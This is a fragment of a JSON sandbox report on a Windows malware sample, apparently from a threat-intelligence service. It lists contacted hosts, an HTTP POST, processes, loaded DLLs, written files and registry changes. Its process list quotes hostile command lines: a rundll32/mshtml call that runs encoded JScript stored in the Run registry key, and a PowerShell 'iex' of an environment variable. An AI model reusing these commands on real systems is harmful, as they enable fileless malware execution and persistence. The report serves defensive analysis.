Files","Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"178.89.159.34","port":80,"protocol":"TCP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"address":"178.89.159.35","port":80,"protocol":"TCP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]}],"dns_resolutions":null,"http_requests":[{"host":"178.89.159.34","host_ip":"178.89.159.34:80","url":"/q","method":"POST","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}],"processes":[{"pid":3712,"ppid":0,"name":"poewliks.exe","command_line":"","normalized_path":"","uid":"00010409-00003712","icon":"$2b"},{"pid":3600,"ppid":0,"name":"rundll32.exe","command_line":"javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write(\"\\74script language=jscript.encode>\"+(new%20ActiveXObject(\"WScript.Shell\")).RegRead(\"HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\")+\"\\74/script>\")","normalized_path":"","uid":"00012427-00003600"},{"pid":1980,"ppid":0,"name":"powershell.exe","command_line":"iex $env:a","normalized_path":"","uid":"00012469-00001980"},{"pid":2096,"ppid":0,"name":"dllhost.exe","command_line":"%WINDIR%\\system32\\dllhost.exe","normalized_path":"","uid":"00012665-00002096"},{"pid":736,"ppid":0,"name":"poewliks.exe0","command_line":"","normalized_path":"","uid":"00014047-00000736"}],"all_imported_dlls":["urlmon.dll","shell32.dll","Wldap32.dll","winrnr.dll","sxs.dll","jscript.dll","advapi32.dll","winnsi.dll","uxtheme.dll","lpk.dll","wininet.dll","oleaut32.dll","msasn1.dll","nlaapi.dll","rasadhlp.dll","shlwapi.dll","gdi32.dll","ws2_32.dll","rpcrt4.dll","iertutil.dll","ole32.dll","dnsapi.dll","IPHLPAPI.DLL","crypt32.dll","mswsock.dll","WSHTCPIP.DLL","pnrpnsp.dll","FWPUCLNT.DLL","clbcatq.dll","version.dll","usp10.dll","msvcrt.dll","comctl32.dll","profapi.dll","KernelBase.dll","user32.dll","imm32.dll","NapiNSP.dll","apphelp.dll","nsi.dll","kernel32.dll","msctf.dll","sechost.dll","sspicli.dll","ntmarta.dll","cryptbase.dll","scrrun.dll","ntdll.dll","wow64cpu.dll","msvcp_win.dll","wow64win.dll","fltLib.dll","wow64.dll","bcryptprimitives.dll","ucrtbase.dll","VxSSL32.dll","win32u.dll","cryptsp.dll","combase.dll","gdi32full.dll","wow64con.dll","wow64base.dll","vcruntime140.dll","msvcp140.dll","SXS.DLL","imagehlp.dll","mscorwks.dll","USER32.dll","DEVOBJ.dll","cscapi.dll","culture.dll","System.DirectoryServices.ni.dll","GDI32.dll","napinsp.dll","mscorlib.ni.dll","System.Transactions.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","IMM32.DLL","RpcRtRemote.dll","gameux.dll","shdocvw.dll","LINKINFO.dll","MSCTF.dll","wshtcpip.dll","AcLayers.DLL","Microsoft.PowerShell.ConsoleHost.ni.dll","SETUPAPI.dll","IEFRAME.dll","PROPSYS.dll","srvcli.dll","slc.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","secur32.dll","OLEACC.DLL","System.Transactions.ni.dll","System.Management.ni.dll","ATL.DLL","System.ni.dll","System.Configuration.Install.ni.dll","System.Data.dll","USERENV.dll","USP10.dll","VERSION.dll","LPK.dll","dnsapi.DLL","ADVAPI32.dll","System.Core.ni.dll","OLEAUT32.dll","CFGMGR32.dll","KERNELBASE.dll","NLAapi.dll","WS2_32.dll","System.Management.Automation.ni.dll","CRYPTSP.dll","rsaenh.dll","ScrRun.dll","ntshrui.dll","Microsoft.WSMan.Management.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","Microsoft.PowerShell.Security.ni.dll","System.Xml.ni.dll","SHLWAPI.dll","mshtml.DLL","mscoree.dll","shfolder.dll","mscorjit.dll","SHELL32.dll","dwmapi.dll","RPCRT4.dll","PSAPI.DLL","SspiCli.dll","CRYPTBASE.dll","CLBCatQ.DLL","MPR.dll","propsys.dll","mscoreei.dll","System.Data.ni.dll","WININET.dll","msimtf.dll","fwpuclnt.dll","userenv.dll","xmllite.dll","AcLayers.dll","GdiPlus.dll","msvcr80.dll","Microsoft.WSMan.Runtime.dll","atl.dll","mpr.dll","devobj.dll","mshtml.dll","mscorrc.dll","tzres.dll","Culture.dll","psapi.dll","oleacc.dll","ieframe.dll","oleaccrc.dll","System.Management.Automation.dll","setupapi.dll","cfgmgr32.dll","msls31.dll","wer.dll","linkinfo.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"A70OS4LKL2GT21002XS0.temp","sha256":"6b8a4cda1df63271f711df41f3c7ce25fe6fe034e39f4b8af5852c0b0e49cae2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"name":"MQH4HHIMM1EA3ZFV105J.temp","sha256":"efb8f29cf9c60709daa059d292e0b57459c957434bd8f349dd97935e0d0cc26a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}],"files_written":[{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"path":"C:\\poewliks.exe","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"path":"%SAMPLEDIR%\\poewliks.exe:0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\poewliks.exe:0","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\A70OS4LKL2GT21002XS0.temp","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\share\\4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb:0","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"path":"%WINDIR%\\system32\\rundll32.exe","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\en-US\\rundll32.exe.mui","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\ieframe.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\windowspowershell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\windowspowershell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\Users\\6KQ0tOq","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\windowspowershell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index141.dat","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"path":"%WINDIR%\\system32\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USERASSIST\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USERASSIST\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USERASSIST\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\COUNT\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USERASSIST\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USERASSIST\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\COUNT\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\FUSION\\GACCHANGENOTIFICATION\\DEFAULT\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 